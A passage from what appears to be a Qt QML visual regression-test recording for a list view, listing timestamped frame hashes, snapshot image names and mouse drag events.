"9d4ad865246eb008afa40740b5c9a208" - } - Frame { - msec: 4960 - hash: "81c8b2c0b4f9e74f24d328a1d9b40a9f" - } - Frame { - msec: 4976 - hash: "24acc300307e71bee79bce8de76f56cb" - } - Frame { - msec: 4992 - hash: "1f9d31f94cfce6f868bfcc8a104d2465" - } - Frame { - msec: 5008 - hash: "7a3cab008dcb7a893ae30797b33df6f2" - } - Frame { - msec: 5024 - hash: "38d561a2950434e59513439c7f1120ea" - } - Frame { - msec: 5040 - hash: "8d34131faa15bc126bd4d9ef3be39ef5" - } - Frame { - msec: 5056 - hash: "85d57ef15791b56deb537795dd87911e" - } - Frame { - msec: 5072 - hash: "71e932169915a6c8c2cef0b22febf316" - } - Frame { - msec: 5088 - hash: "8b3452981963aeebadc9ac2013150263" - } - Frame { - msec: 5104 - hash: "a3fb8abecfeb48ba1cd1fd8f40896fa0" - } - Frame { - msec: 5120 - hash: "f53ab533f6a58ae45139f3da4bf8ab4e" - } - Frame { - msec: 5136 - hash: "9ec7012404f3c1c7795810dcee5acc3b" - } - Frame { - msec: 5152 - hash: "99ca43bab532dd5d7566e596c65053ce" - } - Frame { - msec: 5168 - hash: "0af83ad2416821cc230cd2856d1a3e39" - } - Frame { - msec: 5184 - hash: "86fa23ddf2005bbf35238ae04ae554ac" - } - Frame { - msec: 5200 - hash: "bb52a748f1d85dde410cfa4f24e3ed20" - } - Frame { - msec: 5216 - hash: "898b96bc5ee9a3ac61764e5cd9af8cfb" - } - Frame { - msec: 5232 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5248 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5264 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5280 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5296 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5312 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5328 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5344 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5360 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5376 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5392 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5408 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5424 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5440 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5456 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5472 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5488 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5504 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5520 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5536 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5552 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5568 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5584 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5600 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5616 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5632 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5648 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5664 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5680 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5696 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5712 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5728 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5744 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5760 - image: "listview.5.png" - } - Frame { - msec: 5776 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5792 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5808 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5824 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5840 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5856 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5872 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5888 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5904 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5920 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5936 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5952 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 5968 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 111; y: 230 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 227 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5984 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 223 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6000 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 216 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 210 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6016 - hash: "0076b55d3da4ca365688b6a2c984103f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 112; y: 205 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6032 - hash: "db846ad8e3200ca1fce36a38dc7beab8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 112; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6048 - hash: "3cb6b25725b4285f9c096d595224c5ca" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 180 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6064 - hash: "1832e12fdf3b464b02b296e727b33694" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 110; y: 173 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6080 - hash: "6d18d2b5f65cbba4915d0725d24b40f3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 109; y: 158 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 107; y: 140 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6096 - hash: "79bc7afc6b1aa5f8904b3e6d5d4a9389" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 124 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6112 - hash: "4436f2d15304c839aacec486c1fd6d96" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6128 - hash: "c3bffc7c95893cf9bbd8596208b7f657" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 105 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6144 - hash: "04231c2fdc02729aa34ed4e403dd373b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6160 - hash: "392d75c4b372825e78366eb63a618170" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 101; y: 87 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 83 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6176 - hash: "7f91f7bdb0cb62d600ac4aa573681fe3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 102; y: 79 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6192 - hash: "69207181a382650c5e33145555f0d9ba" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 76 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 103; y: 72 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6208 - hash: "65a184b5c49b02e08114e437483f928d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 104; y: 68 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 64 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6224 - hash: "c22da9ce54d04f51fb55da755753a509" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 105; y: 61 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6240 - hash: "59dbd5216847a62f60a1d0701a15bb62" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 57 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 53 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6256 - hash: "bbfc902db6e6ca253afb1c90306b2a63" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 106; y: 47 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 106; y: 47 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6272 - hash: "5c41f194afec5f7e3db9d98673d03d5c" - } - Frame { - msec: 6288 - hash: "5c41f194afec5f7e3db9d98673d03d5c" - } - Frame { - msec: 6304 - hash: "deb06d0f915d5f6ec39b1820d57b6af6" - } - Frame { - msec: 6320 - hash: "deb06d0f915d5f6ec39b1820d57b6af6" - } - Frame { - msec: 6336 - hash: "2a1a1f9239a6ccb308e51796f9b0bb89" - } - Frame { - msec: 6352 - hash: "3c1b44201616b8271023bf05a3f3f0f7" - } - Frame { - msec: 6368 - hash: "87afcef49db8b2b547e85e834f8ec304" - } - Frame { - msec: 6384 - hash: "290081b4b1272ef09ec9964c128e61b5" - } - Frame { - msec: 6400 - hash: "19bb3b23ee4b14a5f0a313106ef7c8c1" - } - Frame { - msec: 6416 - hash: "65a184b5c49b02e08114e437483f928d" - } - Frame { - msec: 6432 - hash: "832d2aefbcaf776f35039be527d367c5" - } - Frame { - msec: 6448 - hash: "69207181a382650c5e33145555f0d9ba" - } - Frame { - msec: 6464 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6480 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6496 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6512 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6528 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6544 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6560 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6576 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6592 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6608 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6624 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6640 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6656 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6672 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6688 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6704 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6720 - image: "listview.6.png" - } - Frame { - msec: 6736 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6752 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6768 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6784 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6800 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6816 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6832 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6848 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6864 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6880 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6896 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6912 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6928 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6944 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6960 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6976 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 6992 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7008 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7024 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7040 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7056 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7072 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7088 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7104 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7120 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7136 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7152 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7168 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7184 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7200 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7216 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7232 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7248 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7264 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7280 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Frame { - msec: 7296 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 519; y: 276 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7312 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 519; y: 275 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7328 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 519; y: 274 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7344 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 273 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 272 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7360 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 271 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7376 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 268 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7392 - hash: "89fe95733476bd000457e36ee4ecfc73" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 266 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 265 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7408 - hash: "9047f597b9e59ca652c172338bed6ef9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 262 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7424 - hash: "87476f78daecd6bb49e8d6e673d28100" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 260 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7440 - hash: "6bfd895c6b7d97e4102eb26608cdfeca" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 254 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7456 - hash: "e4c2b75beaee54a5781a5acbeb37ea64" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 249 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7472 - hash: "d5e816768e9c3db0631416bd86b1b461" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 243 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7488 - hash: "22cb512b302afc6c3c9dec1d47b3bf03" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 237 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7504 - hash: "a7e458e007954bd908cf27a1841d36ea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 231 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7520 - hash: "0f9fa53b247f72e9a8ff6201b188b410" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 225 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7536 - hash: "c986ea3853dd33f7f2b5629f67429423" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 219 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7552 - hash: "114ffaa5cf38e4884a1d477884541b44" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 215 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7568 - hash: "7cdf1bb327484618909ded5411aca4ec" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 519; y: 208 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7584 - hash: "d4c005194ed510f5d54a811176943dc2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 520; y: 202 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7600 - hash: "3103351bc83675c877fb6dcd1a6ddbbc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 196 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7616 - hash: "2c13ddda8d89501c9487b83f8b115570" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 189 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7632 - hash: "476834b6d88077f9983ed358c06bd0c3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 185 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7648 - hash: "cc2148c6a7ba0bbe6ceea848b7e48621" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 177 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7664 - hash: "5b8824848dd1de3632b26e04e95b5899" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 169 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7680 - image: "listview.7.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 160 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7696 - hash: "d0a4a8b631e3494043f261fb8da67938" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7712 - hash: "985111215c3959a45b293879af701318" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 147 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7728 - hash: "ed5917a3fe95777f2efdaa154af0c489" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 144 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7744 - hash: "6fa9de2983f0e30cb96c035c28757b93" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7760 - hash: "fd568c7d27618a71b0f0882ca57b685b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7776 - hash: "f5b941f5741a9a78122605576809c395" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 124 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7792 - hash: "ffc96a85d7dbbed257b69a0c735e21b8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 122 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7808 - hash: "cfb6335c5449554e631d6e3106ea8a00" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7824 - hash: "ff9786e85ee8af6177ac8e5cc1307462" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7840 - hash: "3140b49dfee8e690b5c778044385e107" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 106 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7856 - hash: "0d899af24685a9998a6b961023286fde" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7872 - hash: "99ee1e8803c05e546a721b0c9ee39499" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7888 - hash: "96e7da2f895500a786ed36cb295e9003" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7904 - hash: "cd369fc5dc31814208e56cf7cd0decea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7920 - hash: "5fee72994b65a45b4900a3073f86a3e1" - } - Frame { - msec: 7936 - hash: "9a2f8a65d842b8f92998e6411f7cd53c" - } - Frame { - msec: 7952 - hash: "2848d69017ce71ae101ccdfa7c67f933" - } - Frame { - msec: 7968 - hash: "6568aa88e81f988f65da435df7166167" - } - Frame { - msec: 7984 - hash: "d5f15ee08a2d7667786757a378a7a7f4" - } - Frame { - msec: 8000 - hash: "9b566bd02a561b32d1a4c1ec99c2e2c3" - } - Frame { - msec: 8016 - hash: "580419e1c9e91046547d913f6b8790a4" - } - Frame { - msec: 8032 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8048 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8064 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 521; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8080 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8096 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8112 - hash: "83b91a371d682a501bc3a3fceabe4f8c" - } - Frame { - msec: 8128 - hash: "798b1dbfa0cce362213f426e2c60ac0e" - } - Frame { - msec: 8144 - hash: "d71b6a693c430a618c23413cb65bb320" - } - Frame { - msec: 8160 - hash: "2baae394390da39447a67151bc503d65" - } - Frame { - msec: 8176 - hash: "06688b05c61a7b862d39534207a8adab" - } - Frame { - msec: 8192 - hash: "a1d3042e16709817906dcdc673ee52c7" - } - Frame { - msec: 8208 - hash: "236dd41feac1b1a8a4bd7911bb184da2" - } - Frame { - msec: 8224 - hash: "f3ec821bba1d32e90bdab0e85c07d7d8" - } - Frame { - msec: 8240 - hash: "e328c35adf7ffc3d7e3af97e798ec8a5" - } - Frame { - msec: 8256 - hash: "651101db68fd3ed1dc5f441c126dc31b" - } - Frame { - msec: 8272 - hash: "651101db68fd3ed1dc5f441c126dc31b" - } - Frame { - msec: 8288 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8304 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8320 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8336 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8352 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8368 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8384 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8400 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8416 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8432 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8448 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8464 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8480 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8496 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8512 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8528 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8544 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8560 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8576 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8592 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8608 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8624 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8640 - image: "listview.8.png" - } - Frame { - msec: 8656 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8672 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8688 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8704 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8720 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8736 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8752 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8768 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8784 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8800 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8816 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8832 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8848 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8864 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8880 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8896 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8912 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8928 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8944 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8960 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8976 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8992 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9008 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9024 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9040 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9056 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9072 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9088 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9104 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9120 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9136 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9152 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9168 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9184 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9200 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9216 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9232 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9248 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9264 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9280 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9296 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9312 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9328 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9344 - hash: 